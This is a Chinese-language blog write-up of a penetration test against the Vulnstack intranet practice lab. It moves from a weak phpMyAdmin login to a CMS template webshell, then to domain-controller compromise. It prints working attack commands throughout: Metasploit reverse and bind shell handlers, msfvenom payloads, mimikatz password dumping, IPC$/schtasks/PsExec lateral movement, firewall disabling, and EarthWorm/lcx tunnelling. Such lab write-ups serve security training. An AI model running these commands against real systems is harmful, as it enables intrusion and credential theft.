Vulnstack内网靶场1
最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net)
环境配置
内网1靶场由三台机器构成:WIN7、2008 server、2003 server
其中WIN7做为对外的web机,2008作为域控
WIN7添加一个网卡,一个设为仅主机,一个设为NET
2003、2008 设为仅主机
初始密码hongrisec@2019
信息收集
深入探测
80端口和3306端口 ,查看80端口
一个phpstudy的探针界面,一般来说后台登陆界面就是phpmyadmin,扫了之后果然
直接弱口令root root尝试登陆,直接登陆上了后台
注意到里面有个叫newxycms的数据库,说明肯定还有其他网站,尝试了yx,newyxcms,yxcms得到子域名yxcms
一个小提示
进入后台之后,注意到了一个上传文件管理,但是我没有找到上传文件的地方
然后看到了前台模板这边,发现可以更改php文件,将原来的php文件里的东西都删了,写入msf生成的木马,或者创建一个新的php代码写入msf代码(真实情况下还是创建好,后期清理痕迹的时候方便)
但是改了之后发现一个问题,不知道这个文件的路径是什么,查了wp发现原来扫描的时候扫出来了一个rar网站备份文件,后来我换了一个字典扫也扫出来了,看来以后扫描信息泄露啥的还得换字典多扫几次。
得到了备份文件,知道了文件的绝对路径,那就可以连接木马getshell了
GetShell
刚刚写入了msf的木马,使用msf连接木马
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lHOST 192.168.200.6
run
访问文件路径
但是这个shell效果不太好,输入了shell之后就卡住了然后自动断开了连接
然后查看了一下网上的,都是用蚁剑连接,没有人用msf,然后我就试了试weevely生成后门,然后写上去后连接
weevely generate test test.php //生成后门
weevely http://192.168.200.27/yxcms/protected/apps/default/view/default/door.php test //连接
然后使用cs连接weevely生成的shell
然后再使用cs反弹shell给msf Cobalt Strike - 1_Ry - 博客园 (cnblogs.com)
getsystem提权
进程迁移,将shell迁移到稳定的进程中
内网信息收集
GOD域
输入shell进入系统,ipconfig查看网络,发现内网的ip,可以探测网段确定内网主机ip
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
共三台主机,其中143是已经被拿下的win7
由于msf收集到很多信息是乱码,后续我用cs继续进行收集
在信息收集的时候会显示RPC错误,是DNS解析问题,解决方法在win7 hosts文件添加owa.god.org
确定域主机名,这里应该还有一个叫STU1的本机名,不知道为什么没显示出来
确定域控名
确定主机名对应的ip地址(第二个ip地址是错的,但是排除法可以得到IP地址)
查看用户
拿到用户和ip地址之后,尝试抓取密码
这里可以通过msf中的mimikatz或者cs中的mimikatz抓取密码,比较幸运直接抓取到了明文密码
域内横向移动
接下来参考我之前学习的域横向知识,可以先建立ipc$连接,然后上传后门运行,也可以使用pstoos工具包中的PsExec。第一次进行域横向的实战,就每种方法都试一试
ipc连接
建立ipc连接
net use \\192.168.52.138\ipc$ "Admin111" /user:Administrator
net use 查看连接
使用cs生成一个windows后门,接着将后门上传至win7
接着通过win7将后门文件上传至域控主机上
shell copy c:\1.exe \\192.168.52.138\c$
确定目标主机时间
使用at或者schtasks创建定时任务运行后门
at \\192.168.52.138 11:49 C:\1.exe
schtasks /create /s 192.168.52.138 /tn test /sc once /st 11:49 /tr C:\1.exe /ru system /f
这里糊涂了,突然发现内网的机器不能直接连上攻击机,需要通过win7作为跳板
PsExec
pstools工具包中的psexec
msf上传
upload /root/PSTools/PsExec.exe C:/psexec.exe
PsExec.exe -accepteula -s \\192.168.52.138 cmd.exe
但是这样还是无法连接远程主机,可能因为还是因为攻击机是外网,后来想到一个办法,创建一个.bat文件,上传到win7,再运行试试看,但还是不行
路由,端口转发
获取目标机内网地址网段
run get_local_subnets
通过background
回到msf
,使用route
增加对应路由,4是sessions值
route add 192.168.52.0 255.255.255.0 4
查看是否设置成功
这样msf就能扫描到内网的主机了
回到meterpreter会话,扫描52网段
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
能扫出来
试一试msf的psexec模块,直接获取system
use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.52.138 set SMBUser administrator set SMBPass Admin111 run
再试试ms17_010_psexec无法攻击成功
use windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run
网上查了资料发现原来是防火墙的原因,看来这个方法暂时用不了
端口转发
端口转发可以让攻击机访问本来无法直接访问的目标主机。portfwd可以反弹单个端口到本地并且监听。
在meterpreter会话输入
portfwd add -l 9999 -r 192.168.200.27 -p 3389
-l 本地监听端口
-r 远程地址
-p 远程端口
3389图形操作
在meterpreter会话开启3389端口
run getgui -e
run post/windows/manage/enable_rdp
远程桌面连接
rdesktop 192.168.200.27:3389
这里应该要创建一个新的用户,不然直接登陆的话会挤掉别人的账户
既然获取了域控的shell,这里直接执行刚刚不能成功的方法,直接获取到域控system权限,这里的话就可以直接使用命令关闭防火墙,然后再使用刚刚的msf中的ms17_010_psexec,获取域控权限
netsh advfirewall set allprofiles state off
接下来换一种方法尝试反弹shell到kali
powercat
首先上传powercat
copy c:\powercat.ps1 \\192.168.52.138\c$
导入powercat需要设置执行策略
但是又失败了,只要运行powershell那个域控的shell就会卡死,根本没法反弹
lcx
只能试一下lcx端口转发,但是lcx我也是第一次用
将lcx上传到win7上
重新制作一个木马,ip设置为win7的ip
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.143 LPORT=11111 -f exe > shell.exe
上传到域控,开启监听,在win7运行lcx,将win7监听的端口转发到kali
lcx -slave 192.168.200.6 4555 192.168.52.143 11111
运行木马,也不行,可能是我用法不太对,害
socks代理
只能试试最后一种方法了socks代理
我用了两种工具一个是earthworm,还有一个是ProxyChains
首先将EW上传到win7上
在攻击机运行
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口
然后在win7运行
ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444
这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口
运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务了
接下来便可以打开第二台内网机器的远程桌面了,这里使用proxychains添加代理(KALI中自带)
输入打开proxychains进行编辑
vi /etc/proxychains4.conf
首先将dynamic_chain前面的注释符#删除
然后在底部改成内容 socks5 127.0.0.1 1080(图片打错了)
保存并退出,执行proxychains firefox,打开火狐,然后访问192.168.52.138(内网的网站),来看看是不是成功了
可以看到访问成功了!并且可以看到数据在不停的交互
但是我又遇到了挫折,本来打算使用msf后门上传到域控主机,反弹shell到KALI,因为现在KALI已经可以连接到内网了,按理说应该也可以连接后门,但是上传了后门之后,发现怎么也连接不上,后来去洗澡的时候终于想通了,平时我使用的msf后门都是反向连接kali,而域控主机根本连接不到外网,所以没办法连接kali。(想到这里之后我才发现前面的代理什么的都是白费功夫,只要msf路由转发了之后就行了,但是也学到了内网代理的大概使用)所以现在使用msf的正向后门来连接域控主机
创建一个正向后门,上传到域控
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe
msf使用监听模块
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run
终于成功了!那这样的话一开始我尝试使用的后门也可以使用这个正向后门,闭合了。
cs中的psexec
cs因为有图形化界面操作比较简单
首先进行网段的扫描,确定存活主机
这里需要建立SMB监听(因为192.168.52.0/24段不能直接连接到192.168.200.6(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。)
之前已经使用mimikatz获取了密码,所以本地有保存,选择SMB监听器,选择会话
成功上线
接下来拿域控也是同样的方法
总结
这个内网靶机难度较低,渗透win7很容易,主要是内网部分,虽然说也不是很难,明文密码都能直接获取,但是第一次实战内网,还是遇到了许多困难,思路有点乱,内网信息收集的时候会不知道收集什么,需要反复查阅笔记,收集完信息之后也不知道怎么域横向了,也是查看笔记才想起来,但也算很多种域横向的方法都试了一遍,还是需要多多实战。还有上传后门的时候把目标主机搞得一团糟,这就造成了后期清理痕迹带来了很大的工作量,而且在实战环境下也更加容易被发现。但还是收获了很多。
写的有点乱,因为我的思路也不是很清晰,让大佬见笑了
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15339999.html